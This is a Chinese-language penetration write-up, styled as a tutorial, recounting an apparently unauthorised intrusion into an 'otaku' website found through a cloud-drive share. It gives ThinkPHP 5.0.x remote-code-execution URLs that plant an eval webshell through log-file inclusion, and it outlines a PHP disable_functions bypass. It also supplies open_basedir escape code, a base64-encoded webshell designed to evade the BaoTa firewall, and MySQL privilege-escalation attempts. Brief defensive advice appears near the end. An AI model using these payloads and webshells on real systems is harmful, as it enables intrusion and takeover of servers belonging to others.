对一次宅男网站的渗透
字数 1548 2025-08-15 21:32:54
ThinkPHP 5.0.5渗透测试实战教学文档
0x00 目标锁定与初步信息收集
- 目标发现:通过云盘群组分享的宅男网站链接
- 技术栈识别:
- 使用ThinkPHP V5.0.5框架
- 通过信息泄露获取网站真实IP
- 漏洞利用:
- ThinkPHP 5.0.*存在已知RCE漏洞
- 直接利用RCE执行phpinfo()验证漏洞存在
0x01 初始Shell获取与disable_functions绕过
1.1 初始Shell获取方法
-
利用日志文件包含:
- 通过报错将一句话木马写入日志文件
- 使用文件包含功能包含日志文件执行代码
- 注意日志会不断刷新,需要重新写入
-
具体步骤:
// 利用报错写入日志 http://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=runtime/log/error.log&vars[1][1]=<?php eval($_POST['cmd']);?> // 包含日志执行 http://target.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=include&vars[1][]=runtime/log/error.log
1.2 绕过disable_functions限制
-
禁用函数检测:
- 查看phpinfo()确认被禁用的函数列表
- 常见禁用函数:exec, system, passthru, shell_exec等
-
PHP 7.0-7.3 gc绕过技术:
- 利用PHP 7.0-7.3版本中的垃圾回收机制漏洞
- 漏洞编号:PHP Bug #72530
- 适用版本:
- PHP 7.0 - 7.0.33
- PHP 7.1 - 7.1.31
- PHP 7.2 - 7.2.23
- PHP 7.3 - 7.3.10
-
绕过代码分析:
<?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # 主要功能函数: function str2ptr(&$str, $p = 0, $s = 8) {...} // 字符串转指针 function ptr2str($ptr, $m = 8) {...} // 指针转字符串 function write(&$str, $p, $v, $n = 8) {...} // 内存写入 function leak($addr, $p = 0, $s = 8) {...} // 内存泄露 function parse_elf($base) {...} // ELF文件解析 function get_basic_funcs($base, $elf) {...} // 获取基础函数地址 function get_binary_base($binary_leak) {...} // 获取二进制基址 function get_system($basic_funcs) {...} // 获取system函数地址 -
利用步骤:
- 上传绕过脚本到服务器
- 通过脚本获取system函数地址
- 构造fake closure对象劫持函数调用
- 最终执行任意系统命令
0x02 突破open_basedir限制
-
检测限制:
echo 'open_basedir: '.ini_get('open_basedir'); -
绕过方法:
// 使用chdir()和ini_set()组合突破 mkdir('bypass'); chdir('bypass'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); -
验证绕过:
// 执行后再次检查open_basedir echo 'open_basedir: '.ini_get('open_basedir');
0x03 绕过宝塔防火墙
-
防火墙检测机制:
- 主要对传入参数进行敏感函数检测
- 未对文件内容进行深度验证
-
绕过技巧:
- 使用base64编码绕过参数检测
// 生成shell的代码 <?php eval(base64_decode($_GET[1337])); ?> // 使用方式 http://target.com/shell.php?1337=base64_encoded_command -
文件生成技巧:
- 通过一个中间文件生成最终shell
- 访问特定URL在根目录生成webshell
0x04 提权尝试与失败分析
-
MySQL提权尝试:
- 发现MySQL以root权限运行(5.6.47-log版本)
- 通过配置文件(/etc/my.cnf)获取root密码
- UDF提权失败原因:
- /www/server/mysql/lib/plugin目录不可写
- 缺少写入plugin目录的权限
-
环境劫持尝试:
- www用户为nologin用户,无家目录
- 缺少.bash_profile文件,无法进行环境变量劫持
-
其他可能尝试:
- 内核漏洞提权(需确认内核版本)
- SUID二进制文件查找
- Cron job劫持
0x05 关键知识点总结
-
ThinkPHP漏洞利用:
- 5.0.*版本的RCE漏洞利用
- 日志文件包含技巧
-
PHP限制绕过:
- disable_functions绕过技术
- open_basedir限制突破
- 宝塔防火墙绕过方法
-
提权思路:
- MySQL提权条件分析
- 环境劫持条件判断
- 权限提升失败原因分析
0x06 防御建议
-
ThinkPHP防护:
- 及时升级到最新安全版本
- 关闭调试模式
- 限制日志目录访问
-
PHP安全配置:
- 合理设置disable_functions
- 配置正确的open_basedir
- 定期更新PHP版本
-
服务器加固:
- MySQL不应以root运行
- 限制plugin目录权限
- 配置适当的防火墙规则
- 监控异常文件创建
-
应急响应:
- 建立webshell检测机制
- 日志审计与分析
- 定期安全评估
附录:完整利用代码
disable_functions绕过脚本
[完整代码见原文,包含所有内存操作函数和利用逻辑]
open_basedir绕过代码
<?php
function bypass_open_basedir() {
mkdir('bypass');
chdir('bypass');
ini_set('open_basedir','..');
chdir('..'); chdir('..'); chdir('..'); chdir('..');
ini_set('open_basedir','/');
echo 'Current open_basedir: '.ini_get('open_basedir');
}
bypass_open_basedir();
?>
宝塔防火墙绕过webshell
<?php
// 保存为bypass.php
if(isset($_GET['1337'])) {
eval(base64_decode($_GET['1337']));
} else {
echo "Server is up!";
}
?>
本教学文档详细记录了从信息收集到提权尝试的完整渗透流程,重点突出了各种限制条件下的绕过技术,可作为高级渗透测试参考材料。